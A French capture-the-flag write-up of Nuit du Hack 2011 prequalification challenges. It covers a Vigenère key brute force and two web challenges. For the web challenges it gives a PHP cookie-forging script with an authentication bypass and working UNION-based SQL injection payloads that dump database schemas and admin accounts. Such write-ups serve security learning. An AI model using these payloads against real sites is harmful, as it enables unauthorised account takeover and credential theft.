Crypto100

Dans un premier temps il fallait reconnaitre le chiffrement. On remarque une ponctuation ainsi que des lettres qui reviennent assez souvent. L'habitude des ctf a fait que nous avons tout de suite penser à du vigenere (assez classique). On se code un petit script en python et on regarde la sortie. On devrait reconnaitre la clé. En début de fichier nous importera un fichier assez bien implementé permettant de faire des bruteforce sur du vigenere selon la fréquence d'apparition des lettres dans différents langages. Ce module est nomé PyGenere et est disponible ici Télécharger le fichier

Python

from PyGenere import *

ciphertext = "NFPTF WAWMG SSCQY AMG CDCI, WIT TWFAIEVLAUHG GYGMICMWHI GFPZMUHCK KPLGL ZWHTRRVPA RRE, LPCT GPH JBDRTWZ ZMFWJ GPVIWMK. OAXIKJQIF PVA CXEFI KUEMVP PXWHO, ESCV JTZSGJW MQSCTGCKC SNW DYKWXTZV AZMFVZOJX, BPUMY BYJ GB MXVCD, KPZBL JSWXPZUPA PNELQ SBOX. WMMEIEFPAWR UTCAXFTWIOT PVEACW NTTS JM. ALWKU RSEXHTPVU VQI LOAMWH TVRV BB, XVPTGSNBE PGLTQ RNPYYNO, ZB PM DSEKYAPLU HZGH CK CABH, XEYHP HFPLK ERPVYC OSYIFUIMJ GA CVAC, DMCMSD IM MTH. CGJBYF ORSGBG DGWFTVZUXCI FKK NTWS DIV YI, WLUWMRQKJQT NH QIJGTRKWT AGRNVPXLEFI, WN SMTVBUWG XFJJMDLX VCVRZUZQQ NPKC CNBN QGFAMJ, GYIX FGD GS KWDYK GPYIKZ. XVBKE NGHWY, SVCD RVE WPEEGKPP GCY, TJYIMLO WWVGC DCING ASJNP EIEB QH QQCMG, VCCTGLXW CGV, NVVPXGAEO L. ZWBXGLNH DSYWKNPM HPPDOH QFNSQW NGECPG O AIJ, NDVKQY KSAFZKTGHFQ FIC, MDRLZHVGK YCMS PWL UAMHWLB TEQZBTGH, TRLYGHLO ACVCKJ HJLHZ MHMJQ DCNVE RW CGQXFZ. WAN KMKCL, I HVCD DTNUTEL ZTPZU UQFU HRAXEWDMK PJPGWAIXR, ULQRBDTX NYCIECAQW HNCYBVCCTWL KMKCL, MKRV ECFNS GIKNXFLNBU PNELQ TKOE QGHIIJ. ULL HNRZZJL EFMK MTH FFPW.MAVVETK QZRMVXE UQUMG RPZK JM ALYJCH, SIEP UEHTZQ CBPS PSWJW UKHU IH, CK YBXH XM, DYRXLU HUIG GEGB OWEEW JTHV UBAGVRZR. QEOYHAN BECGZCEQC, GCAESYXWMFYV KU WVACIC BNG NVSM VVRXPLE, FKK CVXH QIDCH AZUP. CPGTZAXXG TR KYS ELIBM HVIEGHLWX, QSFTWLCKI WNIZRIBG DML, YVIJVHA WBFRJTL QZRYOT GFOTWHB KERTZSC. UMCH ZZVHM HVEKSB HRTS WN TX, RF HLMCKJAXGU ASKOTVV, UVLEYGJ ZATBOMLCXW NKZQ ITGK LJEZL SJWX. JLUJM QBTSG FNWD QGFAMJ C UCRP, CVLTTB TR DCVYCC XCMF, OFJABG EIDFJW AWZBS RIVR GNHCYE, OI HZIUQWFKD RXGQTHMHI HLKZ DIAGEYIBG. DEHCTR JCWQIA NZRDKO DYKJTRUKZAI CTVRXNA, DIV JTRRVPJYF, OFJTLHTI MFIVZELA ZHNGSITHP RGH JX VTVA XROGSH. NZEVAWXIJ OP MX NOVR. BB JZPMNEEK CKQTVUTGCZ SCEL WDRUKTMRGWD LDG JPP. NCIEV KHKYYKJ, LDG EFMK CC HZIUQWFKD OJTA TR. NYHXZDBTYZ UVB UTINMTOH JRWJQFHU MGKTAFW, KOHGZRPB TEGKGJF, BFPDU HEGKLV MQ SLGHJIP, JWLBIEVBU QV VVKEHF XEKMP QVVBA. YG FRNXUID SJHPVV PBVG IKKYT BDDYE YAMK, DPJIAFLK XW FTWMM BELTPA MA. FZYB ICCXLCISI GYWW FEVJTKWDUMY KIC XPDEZWJ, GS BB NSFMTGKGACIE CVLTTB OMUNJQ RPAM.IG ORSGBG TR MN XR, MGS ZMFWJ KTMID, IYYI ICGPNIAF HSPF DPPDYCXVUXCI, RTRR KBHLI SGTX EWSTE NOVR LBGT. PWWIYJ TPAYF UVB IKWDXAKJI ECAWUHG, LR EKOPWWHIMLO KQKAKJQXF QZQEISS KCJQXV, GXCHMOD PSWJW JWZXIAFZQHX WYXWATV MQSCXCCK FTGRCIJCI WFNSQGVVLBXG. OFKMY TVFU SMS YGF NATQPVSN LMJK, UCPYC ESAEOX RMFAE WGYUIAVLK KNZAYLUII, EQU VYYNRK. EHGFIJY SEGKICW ZCJQP GIWPSG, XR GJHAIYNLQ TN IE YL MDPCKJQXHFZL, HTUTXLCH ET ULU IHKJKDW ALIUYCEJ GUQQ WWJRD, TQ TH NIAYKRHB MA UVB HXBPGLOH. WRGWM QNWIGH FOFVAM, IICNBA WRF DYVGO WEUOH, RLPJ QR GCTGIB, GLKANIMJ JLVHEGIGI OWEEW HXFY RVZXGKKMG TQ WEUCCMR. WSBVVEVQ RHBOMEYCXLO, SMGGWJ LJGQ DEYCIXZU YPSAELQ. TM BPUMY UETKSQWVU R LXLZ NSFMTULCA BMAEZBJGH, EIDFJW MGZBMOWCSB MSWPMM TPVKMMRQ, PLJAT GTX NYA ICGTMRGWD ZXUSYHMG, AETWZ MYVUDMS XZPQWHIYD C, UWRHODW JEHCMUYH EDGA XLNTVRGT. JPRWHPXZU SWVRO, LR PGHP, RGH YYJVV QR IGC NDKHL EMAJI, UQUMG FWJAXIWE PGVDVKKZ MY ZCLPXL, HCMKNXULG HTMDWVR BTUYE UOGESKACV FKK.JDKSX TWFAIEVLAUHG VJXM QFVSVXXLT, PVXRIVP PNUFI AH UETKSQWVU VPPM COMG GPYIKZ, AYFRVLSBGDI WATX ZPAMKRT JCFNW AIFUIMSWZ IH. ZK TPPL TCMFAXPCC SIGVPZY, RHAXSVI AMXWSI ZRNZR TEWE EEYI. RZUS VIP, CK TTE OWMIOPQ CKNCPN, UVB KXZ DIE GPYIKZ DIY WCJPFQZVHYG HFNVZ, HVCD LJEZL, IL MTQ MGZBMOWCSB LWE. ZWFXX EGJ, TIPVLQ JM, RZRWW XR DCLKIACJ PXLID XWGESI, EVUQBFF LTV SEMSG EYCXPVEE, DCYCWWE YL XXW. AWZBS EKJSH VCYWWKJEK PPJL FGU BJBG, XEYHXW CGJBYF FZAINA AVSYHIEV YQWHU JSHISYHAMHI WCJQPVUZ, YRVIXWSH ELRULTPHU LR P WOAMTOH HLKZ, VEZ CDCI THBYW, UR RFP HB EP FLGH EONYK HTG. GJHAIYNLQ GBGFW VYAITVBA RVDY, TXOOXYK HTG, RNPYYNO HSPF GPH HBPVVVYI. MA HVSVBOE MFNTVUWT IX RV, VR XG JPP VCVRZUZQQ, NOVR KTFTYK HXFY YPAM YWTRJL JFPHOIEKG. TIWFC GMGMO GEJCJW FFPW ZRN. UGVGWDWAG TKVUAIW NWTRDK JPVG, XDRVE WTEPGIYI IFZMF, LXHZEBTYF JVLSKSCML PJPGWAIXR YZQX TAPX, EUIXZU LOIFVRQ, IHFESJ NJVGKZ CX EWKPJF BPG."
lang = ''

for i in range(1,20):
  print i
  print VigCrack(ciphertext).set_language(lang).crack_codeword(i)



Nous étudions donc la sortie de notre script:



shell

nico@Zenk-Security:~/Bureau$ python BfVigenere.py

1
E
2
PC
3
CEO
4
PEPC
5
EPCTC
6
LRSUTN
7
PCEEIEC
8
PCECCEPC
9
CPEPCOMES
10
SEPEREPCTC
11
EIPPCDCPCCD
12
CRSUTNLRSPTO
13
CPPPPESRTEEUR
14
PNLCSRCOGESIHC
15
PESCESPTOCEOYEE
16
SEPITCPEPCECCELC
17
ESIYREPELEPTRPRPC
18
CRYPTOLESUPERCHIEN
19
PETCPFSIELRRLCTTCEC

Nous avons donc trouver notre clé qui était le flag pour valider cette épreuve, néanmoins le déchiffrement de ce ciphertext en utilisant ce module est bon à savoir. Il suffirait de rajouter la ligne:

shell

print Vigenere(ciphertext).decipher('Ma_clé')





WEB100

Dans cette épreuve, nous avions accès à une page web simple qui nous demandait un couple login / password. http://wtfbbq.prequals.nuitduhack.com/ Plus bas nous avions accès à une page pour s'enregistrer http://wtfbbq.prequals.nuitduhack.com/inscription.php. Nous devions donc nous créer un compte avec d'accéder à l'espace membre qui après nous être connecté, nous affichait ceci:



- : : : YOUR OWN PRIVATE AREA : : : -

Welcome "security zenk" in your private secure area.
Your are logged in as writeup" with this privilege: "user".
Your password id "e10adc3949ba59abbe56e057f20f883e" (MD5 hash, cannot be broken).

You are a simple user, because you deserve it.

Le trick qu'il fallait appercevoir était que lorsque l'on utilisait l'option Remember Me de la page de connexion, nous pouvions voir qu'un cookie du nom de :user_cookies s'était formé avec pour contenu une base64 : YToyOntpOjA7czozMjoiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiO2k6MTtzOjc6IndyaXRldXAiO30

shell

nico@Zenk-Security:~/Bureau$ echo 'YToyOntpOjA7czozMjoiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiO2k6MTtzOjc6IndyaXRldXAiO30%3D' | base64 -d
a:2:{i:0;s:32:"e10adc3949ba59abbe56e057f20f883e";i:1;s:7:"writeup";}

De là il fallait reconnaitre la fonction serialize de PHP
La sortie nous renvoyait donc:
a:2: : un tableau de deux éléments
i:0 : le premier élément du tableau
s:32:"e10adc3949ba59abbe56e057f20f883e" : la longueur du premier élément puis sa valeur; ici le hash md5 du password "123456"
i:1 : le deuxième élément du tableau
s:7:"writeup" : la longueur du deuxième élément puis sa valeur; ici le login "writeup"

En essayant de comprendre le code qui tournait derrière, nous en avons conclu que le code reprenait ce cookie pour faire une comparaison avec le vrais password. Or si nous retournons un boléen de type true, la comparaison sera forcément vrais et nous pourrons nous connecter sur n'importe quel compte. Après avoir tester les différents comptes (admin,administrateur,administrateur,root...), nous avons trouver qu'une injection sql était possible via le deuxième élément de fonction serialize, c'est à dire le login.

Pour automatiser un peu la chose, un peu de scripting.

PHP

function serializ($inj){
  $arr = array(
    $arr[0] = true, #password return always true
    $arr[1] = $inj,
  );

  return serialize($arr);
}

if ($argc == 2) {
  $cook = base64_encode(serializ($argv[1]));
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_COOKIE,"user_cookies=".$cook);
  curl_setopt($ch, CURLOPT_URL, 'http://wtfbbq.prequals.nuitduhack.com/accueil.php');
  #curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  $reponse = curl_exec($ch);

}else{
  echo "\n";
  echo "[+] Usage : php {$argv[0]} \"your_SQL_injection\" \n";
}
?>


Rapidement on met nos injections en paramètre :

shell

$ php injection.php "-4'ORDER BY 7#"
$ php injection.php "-4'union all select 0,0,group_concat(schema_name),0,0,0 from information_schema.schemata#"
$ php injection.php "-4'union all select 0,0,group_concat(table_name),0,0,0 from information_schema.tables where table_schema='prequals_web1'#"
$ php injection.php "-4'union all select 0,0,group_concat(column_name),0,0,0 from information_schema.columns where table_name='utilisateurs'#"
$ php injection.php "-4'union all select 0,0,group_concat(id_user,0x3a,login,0x3a,pass,0x3a,nom,0x3a,prenom,0x3a,privilege),0,0,0 from utilisateurs
where privilege!='user'#"


Nous obtenons le compte admin. :)





WEB200

Cette épreuve était assez amusante car elle nous rappelait la bonne vieille image de dump de base de données des radars fixe.

Nous accédions à une page qui présentait un formulaire d'upload. Après plusieurs tentative, nous nous sommes rendu compte que la source était disponible à l'adresse : http://ziggyzag.prequals.nuitduhack.com/form.php~
À l'heure actuelle nous ne savons pas si cette erreur avait été voulu où non car le lien n'est plus accessible.
Néanmoins, nous avons penser à faire un backup pour le write-up et ce dernier est accessible ici

.

Le code convertit l'image en .tif puis récupère le text présent dans celle ci à l'aide de tesseract

Par ailleurs, la requete sql n'est pas protégée. C'est parti pour injecter !

List of infractions found for: 'OR'1'=1-- -

* Pissed on the motorway
* Showed ass to police
* 200kmh in town
* 5g/L !!!
* No driving license
* No seatbelt
* Incorrect usage of car
* Driver error
* Too old to drive
* almost..
* Parking in a handicap spot !
* Biking on motorway..
* Prostitute assault on Paris ring road
* Racing on the motorway is forbidden !
* insane driving !! WTF ??!!
* Thinks he's in Need for speed
* Laughing at policemen!!!

Tiens on a réussi à dumper tous les commentaires des images en injectant une SQLI "vrais".
Continuons dans notre lancée. En injectant pour récuperer le contenu des tables, columns etc..
Après un 'UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where 'x'='x
Nous obtenons la table intéressante : POWN3D
Et voila en injectant ceci nous obtenons le flag.





WEB300

Suite sur http://www.lestutosdenico.com/evenements/writeup-prequalifications-ndh-2k11